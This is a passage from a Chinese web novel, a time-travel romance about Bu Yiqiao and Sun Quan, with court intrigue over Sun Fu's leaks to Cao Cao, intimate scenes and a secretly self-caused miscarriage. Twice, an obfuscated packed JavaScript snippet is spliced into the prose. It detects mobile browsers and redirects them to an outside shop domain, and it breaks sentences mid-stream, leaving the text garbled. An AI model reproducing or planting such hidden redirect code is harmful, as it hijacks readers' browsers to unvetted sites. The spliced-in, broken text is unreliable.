“去请先生即刻前来。”孙权对卫兵吩咐道。 卫兵领命后,转身离开。 步一乔望着神色如常的孙权,迟疑着开口:“你……不怀疑我?” “为何要疑?” “这是军机要事,这里议事厅,我一介妇人……” “有道理。”孙权颔首沉吟,“席间确实没有你的位置。” 他停顿片刻,在步一乔眼神黯淡下去的瞬间,自然地握住她的手。 “既如此,你坐在我身侧吧。” 步一乔倏地仰头,眼中满是诧异。 “你到底……听懂我说的话了吗?” “与妇人无关,你既主动请缨,且知我孙权用人,从不因身份见疑,只问才识高低。待先生来之前,让侍女先替你换药。” “嗯……” 步一乔此刻已不再思虑进谏之事,反而恍然:若真嫁给孙权,自己大约成不了“妻管严”。 似乎,也无此必要。 * 侍女便端着盛有伤药与洁净纱布的漆盘,低眉敛目地走了进来。 步一乔看了一眼托盘,又抬眼望向身前的孙权,目光微转,对侍女柔声道:“有劳,先将东西放在案上吧。” 随即,她视线转向一旁看似专心研究舆图的周瑜。 “先生到此大概有些时候,都督何不暂且回家,看看乔夫人如何?” 周瑜闻言,唇角弯起一丝了然的笑意,转过身来:“姑娘想支走我,何需另寻借口?” 步一乔也干脆,顺着他的话点头:“也是,那麻烦你出去吧,一会儿再来。” 周瑜轻笑出声,袖袍微拂,朝孙权略一颔首:“还是同你这样讲话来得习惯。”说罢,便悠然转身,与侍女一同退了出去,还顺手将门轻轻掩上。 木门合拢,隔绝了外界。 步一乔转回目光,重新对上孙权的眼眸。他依旧维持着方才的姿势,离她很近,静静地等着她开口。 “主公会换药吗?” “当然。” 说罢,孙权自然地开始替步一乔换药。他的动作并不生疏,解开旧纱布时,尽量避免牵动她的伤处。 步一乔看着他专注的侧脸,低声道:“我毕竟是外人,不好开口。此事先与你说明,待会儿张昭先生来了,由你告知二位。” 孙权颔首,手上动作不停,涂抹上药膏,再用干净的纱布重新缠绕,示意她继续。 “此前你亲赴丹阳和会稽,所为何事?”步一乔问。 “事先布局的战略走漏了风声,被曹操知晓。我只得亲自前往,重新调整部署。” “找到了泄露情报的人了么?” “尚未。”孙权系好纱布,抬眸望向她,“你知道?” “嗯。但我没有实证。也不能仅凭我一面之词,就断定此人罪名。” “是谁?” “你堂兄,孙辅。” 孙权收整桌案的手一顿。 步一乔继续道:“强掠乔夫人一事,估计也是孙辅告知曹操后,安插在江东的细作所为。此前在大街上,我听出那人是北方口音,故而断定是曹操的人。” 不过最主要的是有史可鉴。 “最重要的是,孙辅向来认为你保守不足进取,难以抗衡曹操。他暗中联络北方,已非一日之念。” 她稍作停顿,观察着孙权晦暗不明的神色。 “曹操知晓周瑜就这一位夫人,不好从周瑜下手,便选了小乔。以下只是我的猜测,他是想将你身边的几位梁柱,一个一个击垮。” 孙权缓缓直起身。他没有震怒,没有质疑,只是看着步一乔。 “害你之人呢?” “别岔开话题,我在说曹操——” “别插话,”孙权声音沉了下去,“害你的人呢?也是孙辅吗?” “……不是。” “那是谁?” “我不知道。” “你说谎。” “我……没有说谎。” “又说谎了。” “……” 步一乔偷偷看了眼孙权的脸色,严肃到无法直视。 “那人是被逼无辜,我不能告诉你是谁。” “他几乎害你丧命,你还替他求情?” “若不是被威胁,他怎可能做这等事!” “他若真有难,为何不来寻我!” “正是因为寻你才更危险啊!你现在是主公,是江东之主!与你一举一动一言一行,都有千万双眼睛盯着,他怎么说?怎么说才能不连累更多人?” 孙权沉默了。看着步一乔微红的眼眶,怒意消褪一半,拂开她激动到散落额前的一缕碎发。 “又激动,身子不疼吗?” “……疼。” 这个字轻轻落下,不再是刚才那般剑拔弩张的模样。 “既然疼,就少操些心。”孙权心疼地曲指刮去她眼角的泪花,“孙辅之事,我会与先生讲。搜集到证据后,与孙辅谈话。至于那个伤你之人……你既执意相护,我可以暂不追究。” 步一乔惊讶地抬眼,“真的?” “迄今为止,我何事没依你?” “……似乎没有。” * 周瑜与张昭须臾便至。 步入议事厅,张昭见步一乔与孙权并肩而坐,眼中闪过一丝讶异,却未多言,只是向诸位行礼,而后落座。 “今日请二位前来,是为军情屡次泄露之事。”孙权开门见山。 张昭抚须:“主公已锁定泄密之人?” “心中虽有猜测,然证据不足,不敢妄断。需设局引蛇出洞,愿闻二位高见。” 周瑜沉吟片刻,目光转向始终静默的步一乔:“瑜愿先听步姑娘见解。” 步一乔本欲缄默至终,闻此言心下暗叹,果然逃不过周瑜这一着。 “一介妇人,列席已属逾矩,不敢妄议军机。” 张昭却温声道:“步姑娘过谦了。前番解围之策,足见智略。老朽亦愿闻其详。” “既蒙二位不弃,一乔便冒昧直言。” “此人不是喜欢传递情报嘛,那便制造一个他无法拒绝的、必须立刻传递的假情报。” 步一乔话音落下,厅内陷入片刻沉寂。 次日。 孙权在仅有几位核心重臣,包括张昭、周瑜、孙辅等参加的会议上,宣布了一个“绝密计划”:五日后,他将以祭拜亡兄为名,只带少量护卫,避免打草惊蛇,秘密前往北山祭拜孙策。 话音方落,周瑜适时蹙眉:“主公,北山地处偏僻,护卫过简恐生不测。” “正因偏僻,才不易惊动各方。”孙权目光扫过在场众人,“此事关乎江东安稳,望诸君慎密。” 孙辅垂首不语,神色不屑。 堂后竹帘,步一乔偷摸至此静坐阴影中,将众人神色尽收眼底。 “这个孙辅……他不是你堂兄弟吗?至于这么讨厌吗?” 年轻继位的孙权刚坐上位置上,承受最多的便是冷言嘲讽。若不是步一乔身份不便,真想上去就给他两耳刮子,逼他说些阿谀奉承的话。 “似乎用错词了?罢了,反正他也时日不多了。” “一个人说什么呢?” “啊!” 孙权悄无声息潜伏到自己身后,单膝蹲身,突然出声吓了步一乔大跳。何时散会的?她竟沉浸在思绪中毫无察觉。 “不许吓我!” “抱歉。”他眼底却并无歉意,反而狡黠着逼近,“不过……步姑娘竟敢偷听主公议事,胆子不小?这可是杀头的罪过。” “主公是要治我的罪?” “当然要治。”孙权又向前逼近半步,低沉的嗓音里带着危险的诱惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在即将触地刹那,孙权的手稳稳护住她后脑,另一手仍紧扣她腰际。这个吻从她主动的触碰,渐渐变成他缠绵的索取。 腰间的系带松散,厚重的冬衣垫在身下倒是刚好合适。议事厅内的火炉温暖,加之眼下做些什么,热得人覆身汗。 竹帘外传来渐近的脚步声。 “主公?” 是张昭的声音。 步一乔浑身一僵,下意识要后退,却被孙权揽住腰肢,更深地按进怀中。他在她唇上流连片刻,这才缓缓分开。 “不是不怕吗?” 步一乔此刻哪敢答话,只得咬紧嘴唇,连呼吸都屏住了,全神贯注地倾听着帘外的动静。 见她担惊受怕的样子,孙权无声轻笑,非但没有停下,反而加深了这个吻,直到她快要喘不过气。 帘外的脚步声停驻片刻。 “奇怪,没看见他出去啊……” 张昭自言自语着,身影在竹帘上投下模糊的轮廓,似乎就在咫尺之遥。 步一乔紧张全身发颤,偏偏孙权变本加厉,还在她唇上流连,温热的掌心绕至她的后背,抬起她的腰贴近自己。 “唔——” 动作突如其来,步一乔更害怕,抓紧孙权的侧颈,无意间留下几道红痕。她被迫后仰着头,承受着愈发深入的吻,连脚趾都不自觉地蜷缩起来。落在他身侧的腿不自觉地弯曲,想要蜷缩着身子。 唇瓣被吻得微微肿胀,热乎乎的,舌尖来来回回的渐渐发酸。 步一乔内心反复叫嚣着,她甚至能听见张昭衣料摩擦的细微声响,仿佛下一秒帘子就会被掀开。 先生快走啊……快离开啊…… 终于,脚步声缓缓远去。直到确认张昭走远,孙权才稍稍松开她,眼底带着得逞的笑意。 “现在害怕了?” 步一乔急促地喘息着,眼角还带着未散的水光。孙权抚过她红肿的唇瓣,声音里带着未尽的情欲。 “坏人……” “什么?”声音沙哑低沉,孙权没能听清。 步一乔咬紧牙,用无伤的一只手猛地掀开孙权,怕力道不够手脚并用,竟真将猝不及防的孙权掀翻在地。她顺势跨坐上去,将他反压在下,青丝垂落间,眸光潋滟。 “孙仲谋,这好像不是第一次了?”她指尖戳着他胸口,“你似乎……格外钟情这等危险刺激的游戏?” 孙权非但不恼,反而低笑出声,抬手将她的发丝拨至身后,掌心抚住腰,生怕她后仰过去摔着。 “那你呢?可喜欢?” “喜欢你——”步一乔猛地住口,下意识瞥向竹帘之外。 议事厅内空无一人,烛火温然,静默无声。 “呵。” 步一乔轻笑,垂眸睨着貌似听候发落的孙仲谋。 “喜欢,当然喜欢。和你一起,做什么,在哪儿做,我都喜欢。” 67. 月沐寒酥 步一乔指尖刚触到他的衣襟,便被他反手扣住手腕。 “想做什么?” “欺男霸女!”她理直气壮,“不对,没有女,只有欺男。” 孙权一声轻笑,抱着她利落翻身,将她压在身下。方才跨坐他腿上的那点优势荡然无存,反倒彻底受制于人。 步一乔还要挣扎,却被他单手擒住健全的那只手腕,牢牢按在头顶。 “放开我!”她扭动腰肢,却被他以腿压制,动弹不得。 “别太用力,小心弄疼伤口。” “你还知道我有伤!那还不松开!” “我这是保全自己。某位……月老兼刺奸太过狡猾,不防不行啊。” “到底是谁狡猾!年轻人欺负老年人!” 孙权歪了歪头,眼底漾开笑意:“两岁的差距,姐姐这是要给自己升一个辈分?” “对!平辈压不住你,那就长辈!何止两岁,我大你两千岁呢!” 孙权更懵了,“这两千,从何算起?再说,不该是我大你两千岁才对?” “你……你……不许反驳我!!” 孙权空着的手探入水面,抚过时激起涟漪。他俯身咬住,步一乔平生第一次感受此痛,脱口而出的是无法轻易停下地抽搐。 “疼吗?不是疼吧。”他指尖抵在她唇上,唇底暗潮汹涌,“轻点,真不知道疼?” 这就是恶人先告状吗?!分明是他在——步一乔恼羞到内心语无伦次。 “疼……可疼了……你……别碰……” “我没碰啊,你看。” 步一乔看见孙权举起两只手,确实没碰。确实此刻没碰,又被这人带偏了思路。 恼羞成怒的步一乔屈膝抬脚踹向他屁股,却被孙权早有预料地扣住大腿后侧。他俯身压下,松开钳制,转而轻轻托起她的后腰。失去支撑的瞬间,她本能地攀住他的肩膀。 灼热的吻再次袭来,破碎不成音,软烂成稀泥,摇摇晃晃。 “主公!” 门外突然传来近卫急促的叩门声,两人动作瞬间僵住。 “不是吧……又来!” 步一乔拼了命要挣脱,却被孙权禁锢在怀中,不许她抽身。 “就在门外禀报。”他声音犹带喘息,却已恢复了平日的威严。 “孙贲大人请您过去一趟,有事商议。” “随后就到。” 直到近卫走远,步一乔也没能挣脱成功。孙权抱着她起身,顺手捞过步一乔的衣裳给人裹上。步一乔跨坐在他腿上,手忙脚乱地系着衣带,脸上红晕未褪。 “生气了!接下来一周,不对,一月!一年!你都不许再碰我!” 孙权笑着夺过她手中半晌系不上的带子,替她一一系好、整理好。 “这恐怕不行。”他系完最后一个结,双手顺势扶在她腰间,“你我有约在先,婚期在即,总不能洞房花烛也不放人碰吧?” “谁要跟你成亲啊!给我一笔钱,我要搬出去自己生活!” “江东六郡皆是我的地盘,我不许,你能找到落脚点?” 孙权伸长手臂,将步一乔往怀里带了带,仰头看着她一脸娇嗔的样子,心都被软萌化了。 “是谁说,夜里离了我睡不安稳?” “是你。” “嗯,是我。所以,别丢我一个人。” 孙权仰头在她唇上轻啄一下。步一乔瞪着他含笑的眼眸,终是败下阵来。 “……快去吧,主公该去处理正事了。” “不跟去‘偷听’了?” “你堂兄叫你,我去干嘛?” “没从这名字想起什么?” “什么?”步一乔看着孙权的眼睛,心中渐明,“啊!孙贲!孙辅的亲哥哥!” “这些年来,孙贲多次劝他安心辅佐于我,兄弟二人为此屡生龃龉。”孙权微微颔首,“此时特意来寻,想必与近日异动有关。” “要去要去!你别光着了,快穿衣裳!速速出发!” * 步一乔从回廊悄步绕至书房后门,推开一道不易察觉的暗隙。侧身而入,隐于厚实宽大的屏风之后。 几乎同时,前厅传来脚步声,孙权与孙贲一前一后步入书房。 “主公。” 是孙贲的声音,听上去老练,从小带娃的原因吗。 步一乔跪坐下,专心“偷听”。 孙贲孙辅,孙坚长兄之子。 孙坚去世时,孙策年仅十七,无法立刻接手军队,于是部分孙家部众由孙贲统领。待孙权继位,孙贲亦尽心辅佐,从无二心。而其弟孙辅,尚在襁褓便父母双亡,全赖年长五岁的兄长一手带大,兄弟之情,深逾常人。 “堂兄不必多礼,坐。”孙权语气平和,“此时前来,想必有要事。” 短暂沉默后,孙贲似是下定了决心,开口道:“近日军情屡次泄露,动摇我江东根本……不知主公,可曾查到幕后之人?” 孙权执起茶壶,为孙贲斟了一杯。 “已有头目,”他放下茶壶,“眼下只差证据,便可将细作绳之以法。对此,我想听听堂兄的看法,如何处置更为妥当。” 孙贲的手指在膝上蜷紧。他忽然离席,单膝跪地抱拳埋首。 “罪臣……恳请主公网开一面!是臣……管教无方,致使劣弟犯下如此滔天大错!证据,臣已带来,只求主公……饶他性命!” 步一乔在屏风后震惊。如此直接地坦白?那不是他含辛茹苦养大的亲弟弟吗?竟不先设法周旋,或是寻个替罪羊?难道不怕孙权一怒之下,祸及全族? 孙权上前,稳稳托住孙贲的手臂。 “堂兄请起,此处并无外人。就当兄弟之间寻常谈话。” 孙贲从怀中取出一封密函呈上,道:“三日前,臣在他枕匣暗格中发现此物。其上所列布防细节,与近日泄露的军报分毫不差。” 孙权展开密函,与自己前日布局时说的话一次不差。 “为何不及时送去给曹操?” “想必……与近日出的事有关。” “哦?”孙权抬眸,“何事?” “有人密信于他,声称已搜集全他与曹操暗中联络的所有证据。臣起初以为是胁迫招供,没曾想……那人竟是来帮他的。” “帮?如何帮?” “信中附了一张看不懂的诡秘图画,说是天降神谕,预示将有更为重要的情报出现,让他今日务必按兵不动,静待其时。” 孙权嗤笑,“于是他信以为真,便将这密函藏于家中?” “是。” “堂兄可知,”孙权将密函轻轻按在案上,“若将此物呈交张昭先生,便是铁证如山。不止是孙辅,他身边的一众近臣都将受到牵连。连堂兄你……也可能牵扯其中。但我深知堂兄与此事无关,会与众臣说明。” 孙贲再度跪倒,额头重重磕在地砖上:“主公清明!但……毕竟是我孙贲一手带大的弟弟,不愿看他寿终于此。臣愿交还兵符,携劣弟远遁交州,永世不入江东!” 孙权俯身,第二次将他扶起,道:“骨肉至亲,何至于此。我并非刻薄寡恩之人。他的命,我会留着。堂兄也不必过分自责。” 稍作停顿,他继续道:“我会将他圈禁府中。至于那些与曹操暗通款曲之人……一个不留。” “主公……”孙贲感恩戴德地望着孙权,哽咽到说不出话。 想起什么,孙权忽地轻笑道:“若真动了杀手,回头少不得又要听一番念叨。” 孙贲怔忡:“主公是指……老夫人?” 孙权摇头,“是我夫人。” “主公终于要娶妻纳妾了吗!”孙贲发自内心地高兴,“贺喜主公!” 孙权笑道:“纳妾不必,娶妻一人足矣。” 步一乔抬手捂着滚烫的脸颊,心跳动得厉害。直到前厅传来开门关门的声音,她抬眼望去,对上绕至屏风后寻她来的孙权。 “油嘴滑舌……”她低声嗔道,“我还不是你夫人呢!” “总会是的,”孙权笑着拉她起身,“步夫人。” “步……步夫人。” 如同拨云见日、茅塞顿开,步一乔突然意识到她穿越替代的,或许从来不是大乔。大概率从一开始,替代的便是—— “步练师。” “步练师?是谁?” “是……”步一乔眼神飘向别处,“是某位江东之主,日后的吴大帝,此生最爱的女人。他在位时始终未立皇后,直到步练师逝去,才追封她为后” “这样啊。”孙权一脸坦然,“没听说过。” “你整天忙着军政大事,当然不知道!”步一乔来了兴致,说得眉飞色舞,“人家步姑娘可是才貌双全,在江东很有名的。史书上说,孙权一听说她的名声,当即请到府中相见,然后一见倾心就把人给——” 一时口快,步一乔唠唠叨叨把史书上的记载复述一遍,后知后觉自己正在跟孙权议论孙权。 “我……不是说你现在!”她慌忙找补。 孙权忍俊不禁:“原来后世是这么写我的。” 见他没生气,步一乔又放松下来,继续唠唠叨叨:“古代嘛,三妻四妾很正常,更何况孙权还是个君主,肯定妻妾成群嘛。” “那史书有没有写,孙权为了某个爱吃醋的姑娘,把纳妾的念头全都打消了?” 步一乔瞬间脸红:“谁、谁爱吃醋了!我一口没尝过!” “不知啊。”孙权故作沉思状,“可能就是某个整天忙着破案助人,还特别爱给未来夫君安排妻妾的步夫人?” “你!再占我便宜,我就——”步一乔气鼓鼓地瞪他,却被孙权一把搂住。 “一乔,山野那场梦,还记得吗?” “……模模糊糊。” “当时你说,只肯一夫一妻,我若想娶你,这辈子就只能娶你。” 步一乔怔怔地望着孙权。 “那是……什么……我说过这样的话?你记性太好了吧。” “你说的每一句话我都记得。” 步一乔被他这句话说得心头一甜,却还是故作贤者,戳了戳他的脸颊。 “说得轻巧,你现在可是江东之主,顾全大局啊主公。” 孙权握住她作乱的手指,“为何你这话我听上去奇奇怪怪?这是要我……多多纳妾?” “我这是深明大义!”步一乔强忍着笑意,板起脸来,“你看啊,跟世家联姻可以巩固势力,跟诸侯结亲可以化解干戈,多划算的买卖。” 孙权若有所思地点头:“说得有理。那依你之见,该先纳哪家千金?” 步一乔没想到他接得这么顺,一时语塞:“比如……比如陆家小姐?” “陆绩年幼,尚无姐妹。” “那朱家?” “朱然已有婚约。” 步一乔气鼓鼓地抽回手:“你倒是调查得清楚嘛!” 孙权将她重新揽入怀中,低笑道:“既然夫人这般为我着想,不如这样,明日我就下令,凡是献美者,皆须经过夫人亲自甄选。容貌不及夫人者不要,才学不及夫人者不要,性情不及夫人者更不要。” “你这哪是选美,分明是刁难人!” “所以啊,”孙权轻轻捏捏她的耳垂,“有你在,我还要什么妾室?光是应付你这个小醋坛子就够我忙的了。” “谁是小醋坛子了!都说我一口醋都没尝过!” 步一乔羞得要去拧他,却被他笑着躲开。孙权弯下腰,抱着步一乔的腿将人拔地而起,走出书房。步一乔惊呼一声,抱住他的脑袋稳住。 “喂喂喂!你做什么!” “天色已晚,今日公务处理完毕,与夫人回房歇息。” “不许再叫我夫人!再叫我就——” “就要唤我夫君了?”孙权将她往上托了托,仰头看她气鼓鼓的模样。 步一乔羞得说不出话,咬牙切齿低吼道:“孙、仲、谋!不许逗我玩儿!” 廊下的侍卫侍女纷纷低头抿嘴,假装没看见孙权抱着步姑娘从书房出来。仍是那条回廊,仍是那两个人,这一次却终于能光明正大地相携而行。 “一乔,答应我吧,我想千秋万代后,史书上记载孙仲谋此生最爱的女子,是你。” * 次日。 孙权回到府中时,天色已近黄昏。张昭静默地跟在半步之后。 “临近年末,先生今年可有什么新的感悟?”孙权忽然驻足,望着庭院中一株开得正盛的红梅。 张昭随之视线望去,道:“跌宕起伏的一年,也是老臣亲眼见证主公,从英气少年成长为万军统帅的一年。” 孙权轻笑一声,“时候到了,去请孙辅过来。” 待卫兵领命离去,张昭看向孙权沉静的侧脸,终是问出心中疑惑:“在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797264|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处置此事之前,老臣有一事不解。步姑娘身份微妙、来历不明,为何主公对她却毫无芥蒂,全然信任?” 孙权伸手轻触梅枝,积雪簌簌落下。 “因为我了解她,比任何人都了解。谁都可能背叛江东,唯独她不会。” “不是背叛主公,而是江东?”张昭甚是疑惑,“步姑娘确实聪明,与寻常女子截然不同,可主公与她不过相识一月有余,为何如此断然?” “岂止一月。有些人只需一眼,便知是故人归来。” 孙权收回手,目光像落在很远的地方。 “总觉得与她的相遇,在更早以前。” 不是山野,而是更早。 所以建安七年的“初见”,才会对她产生奇异。不过初遇,便想与她更进一步,相识相亲。 不过一盏茶的工夫,孙辅便到了。他穿着常服,腰间却仍佩着剑,进门时习惯性地扫视四周。孙权正与张昭对弈,恰好将军,孙权胜。 “堂兄来了。” “主公召见,不知有何要事?” “兄弟之间不愉快说出来,为什么要叫外人来呢?” 孙辅看向孙权,又瞥向一旁垂目不语的张昭,矢口否认:“绝无此事!何人竟敢在主公面前构陷于我?此乃离间我兄弟之情,祸乱我江东根基!” 孙权没有说话,甚至没有看孙辅。 张昭从怀中取出密函,展开放置在孙辅面前。 孙辅脸上的激愤瞬间褪去,化为一片死灰。他死死盯着那些密函,宛若看到了自己的死刑判决。 “这字迹,是堂兄亲笔所写吧?” 孙辅终于跪倒在地,伏首不语。 孙权望着窗外沉沉的夜色,“我记得,小时候犯错,父亲总是说,孙家儿郎,宁可站着死,不能跪着生。兄长今日这一跪,跪的不是我,是孙氏的列祖列宗,以及数以千计为霸业牺牲的将士。” 他转身对张昭道:“先生,拟令吧。” 命令很快颁布:孙辅近臣尽诛,部曲解散,本人迁往东郡幽禁。 门外,步一乔躲在廊下梁柱后,安静听完了史书上寥寥几笔写下的故事。闻见脚步声,她抬眼,与匆忙赶往的孙贲照面。 “孙贲将军如何如此着急?” 孙贲多少听过步一乔的事,也知晓孙权对其颇为宠爱,昨日他口中的夫人,想必正是眼前的女子。 “听闻舍弟被主公召见,特来探看。”他稳住气息答道。 “处置结果,主公昨日不是告诉将军了?” 步一乔看着孙贲脸上的神情,似有所感。 “莫非……将军是忧心令弟远徙东郡,山长水阔,放心不下?” 心事被一语道破,孙贲深知此刻硬闯书房求情亦是徒劳。或许……眼前之人是唯一的转机。若她肯出言,或许主公能网开一面,即便不能赦免,能将弟弟拘禁于自己看顾之下,也好过流放千里。 “姑娘明鉴,可否愿替贲向主公进言?” “是想求主公将孙辅的幽禁之地,改在豫章么?” “……正是。” 孙贲时任豫章太守,若此事能成,他既可亲自监管弟弟,免其远窜东郡受苦,全了他最后一点兄长的私心。 “将军会不会太溺爱孙辅了?您护了他大半生,为江东基业出生入死,他却做出这等背弃之事。事到如今,您还再为他求情?” “姑娘说得是。为将者当以军法为重,为兄者……” 孙贲攥紧拳,比起责怪孙辅,更多是自责。怪自己,没将弟弟看好,才酿下今日的错。 “我这个兄长,做得实在失败。不如伯符,深感惭愧。” 他转身席地而坐,拉长叹息。 “父母去得早,他尚在襁褓便由我一手带大,始终带在身边……这样的弟弟,叫我如何能眼睁睁看他去那苦寒之地自生自灭?” 步一乔早知孙贲兄弟情深,原以为大抵如同孙策与孙权那般。如今亲耳听闻,才觉出其中微妙的不同。 她嘴角不自觉扬起,似是窥见了什么极有趣的秘密。 她索性撩起衣摆,学着孙贲的样子在他身侧盘腿坐下。 “孙贲将军,您与令弟……当真只是普通的兄弟情谊吧?” 从不看狗血话本的步一乔,却有个特殊癖好:酷爱“骨科”轶事。此刻看着为弟忧心的孙贲,思绪便不由自主地朝那方向飘去。 她曾与挚友盘点过“三国三大骨科”:诸葛瑾与诸葛亮、司马师与司马昭,以及孙策与孙权。 只是后来她成了孙策的“梦女”,才忍痛将最后一对从清单划去。 如今想来,命运真是奇妙,她竟会和孙权走到今天这步。 孙贲看着身旁露出揣摩不透的笑脸的姑娘,虽觉狐疑,仍郑重答道:“舍弟乃我此生,除江东基业外,拼死也要守护之人。” “呜呼~~~~”步一乔笑得像个反派,又迅速敛容正色,“孙仲谋也并非事事听我的,但既然将军开口,我必当尽力。” “多谢姑娘!不,步夫人!” “别别别,没成亲呢,使不得。” “主公既已认定,便是迟早的事。日后夫人若有差遣,贲,万死不辞!” “那便多谢将军了!”步一乔面上答得恳切,内心已在雀跃:既如此,我可就不客气地将你二人写入“骨科”话本,供后人细细品鉴啦! 步一乔偷笑时,没注意孙贲正细细打量她。 “夫人……”孙贲犹豫着开口,“有句话,不知当问不当问。” “请讲。” “那个搜集了证据,有帮舍弟传送情报之人,是你吧?” 步一乔目光微动,勾起唇角。 “将军是凭空猜测,还是有理有据?” “是声音。我上阵杀敌数载,明辨任何听过的声音,哪怕一次。某日,一黑衣包裹全身之人到府上寻舍弟,虽不见其貌,但我……听见了声音。前几日,那人又到府上。有了第一次的告密,舍弟对那人不再怀疑,便听了劝,将本欲传送给曹操的密函,留于家中。” 孙贲看向一脸淡然的步一乔。 “姑娘为何如此?于公于私,姑娘不该站在主公一边,为何帮他(孙辅)?” “甚至亲口告诉他……姑娘腹中的孩子,是主公的。” “若非姑娘今日寻主动寻我,我是万万没想到,那个害了姑娘的人……竟是你自己。” 68. 苦雪烹茶 孙贲凝视着淡然,甚至带着笑的步一乔。 “若非姑娘今日主动寻我,我万万没想到,那个害了姑娘的人……竟是你自己。” 步一乔唇边笑意终于敛去,取而代之的是一种近乎冷酷的清明。她没有否认,只是静静反问:“孙贲将军可能猜中,我平生最大的乐趣是什么?” 孙贲被她这突兀的问题问得一怔:“不知……” “是研究历史。尽管担心它会让我毕业即失业,但,这是我努力十二年换来的。” 她抬起眼,望着庭院冬日荒芜。 “我看过太多记载,知道一个不该存在的‘长子’会如何搅动政局,会让多少人的命运脱离轨道。将军,当你清晰地知道一座建筑最终的宏伟蓝图时,你会允许一颗不合规的基石被埋下,导致它可能在某一日彻底倾塌吗?” 孙贲隐约明白,却仍感到难以置信:“所以……那孩子在你眼中,只是一颗……不合规的基石?” “是。”步一乔的回答没有半分犹豫,“我的情感告诉我,他是我的骨血。但我的理智告诉我,他是一个错误。这乱世不适合他,也不适合我。我不想让自己的余生,以及他的余生,卷入东吴日后残暴的后宫之争。” 甚至这场斗争,是他的父亲亲手挑起的。 孙贲沉默了。他发现自己无法反驳。 他看着眼前这个刚刚经历丧子之痛的女人,她脸上没有悲伤,只有一种殉道者般的坚定与平静。 “步姑娘你……此事,还有谁知晓?主公他……” 步一乔的嘴角重新勾起那抹淡然的笑意。 “天地,你,我。将军是聪明人,当知此事成为永远的秘密,对所有人都好。就拜托你,守口如瓶了。” “姑娘舍身相救,是我孙贲此生的恩人!就算死!我也绝不让第三人知晓!” “多谢将军。” * 两人交谈之地就在门外,说了许多,免不了被屋内的人发现。听闻一声轻咳,席地而坐的两人同时回头,对上从屋内走出的三道视线。 孙贲立刻起身,恭敬行礼:“主公!先生!” 孙权微微颔首,看向仍坐于地上的步一乔身上。见她与孙贲挨得这般近,谈笑风生,一股酸意便从心底冒泡,滋味难言。 他缓步上前,向她伸出手,强行温柔道:“为夜里凉,何不在房中歇息?” 步一乔全然未觉酸意,就着他的手利落站起。她脑中正盘旋着孙贲“拼死守护”的兄弟誓言,只觉得灵感迸发,此事必须趁热打铁。 “在下有一事相求!求主公成全!”她抽回手,抱拳道。 孙权伸出的手尚未收回,稍稍顿住,面色不改,声音却沉下几分:“何事?” “听闻孙辅将军因私通曹氏将受严惩。一乔斗胆,恳请主公念在骨肉情深,将他幽禁于豫章郡。”步一乔稍作停顿,悄悄抬眼观察孙权神色,“如此既全法度,亦全孙贲将军手足之情。” 孙贲垂首立在原地,冷汗已浸湿后背。连侍立在侧的张昭与待罪的孙辅,都惊愕地视线在两人之间来回逡巡。 张昭见孙权神色冷静得骇人,心道不妙,上前一步圆场:“主公操劳一日,也该歇下了。此事就交老臣——” “你何时与伯阳兄如此投缘,竟连他家事都这般挂心?”孙权倏然打断,“这次又是为何?” “孙贲将军爱弟之心,感天动地,令人动容。我帮他,是敬他这份情义,更是——” 她倏地截住,转了转眼珠子,不顾旁边三人目光,手指探入孙权袖摆,精准捏住他的指尖。 “若被流放千里之外的是我,你会舍得吗?” “……两件事无法相提并论。” “能的能的!”见孙权态度有所松动,步一乔乘胜追击道,“皆是至亲挚爱之人,你舍不得我,难道孙贲将军就舍得弟弟吗?” 孙权袖中的手指被她勾住,掌心传来她指尖的搔刮。她仰着脸,一双眸子沉着盈盈水波,楚楚可怜地仰望着他。 “孙权~~我知道你于心不忍,毕竟是兄弟,这法子并无不妥啊。” 他垂眸看着她的模样,分明是刻意装出来的,却偏偏让他硬不起心肠。 “你连我这样来历不明的人都敢留在身边,还怕一个被夺了兵权、圈禁起来的堂兄吗?” “再说话,我连你一起幽禁。” “……” 步一乔所有的小动作和伶牙俐齿刹那间冻结。当着外人的面,他竟真半分颜面都不给! 她越想越气,甩开他的手,力道之大,险些带倒自己。 “罢了!你是主公,你说了算。” 说罢,也不看孙权瞬间沉下的脸色,转身便朝孙贲深深一礼,语气满是愧怍:“孙将军,对不住,是我人微言轻,没能帮上忙。” “步姑娘切莫如此!”孙贲惊得连忙虚扶,冷汗涔涔,“是舍弟罪有应得,姑娘仗义执言,贲已感激不尽!” “将军……” 步一乔抬起脸,眼圈微红,捏着袖口轻轻拭了拭并不存在的泪,声音凄楚。 “您这般宽厚,更叫一乔无地自容了……待他日我若在吴郡待不下去,流落至豫章,还望将军念在今日情分,怜我孤苦,给个容身之处……” “这……”孙贲下意识看向身旁面色尤为难看的孙权,不敢再多说半个字。 步一乔却仿佛毫无所觉,依旧用泫然欲泣的眼神望着孙贲。火上浇油的姿态,终于让一直沉默的孙权有了动作。 “伯阳兄。” 孙贲立刻躬身:“臣在!” “孙辅之事,依军法论处,不容姑息。然,念其昔日之功,及你拳拳之心,死罪可免。即日起,夺其一切兵权,幽禁于豫章郡府,非诏不得出。你,亲自押送。” 这已是网开一面。孙贲心中巨石落地,立刻拜谢:“臣……谢主公恩典!臣定当严加看管,不使其再生事端!” “下去吧。”孙权挥了挥手,目光终于落回步一乔身上。 孙贲如蒙大赦,拉上弟弟的手,几乎是逃也似的退了出去。张昭也一同迅速离开了这是非之地。冷清的廊下,顷刻间只剩下两人。 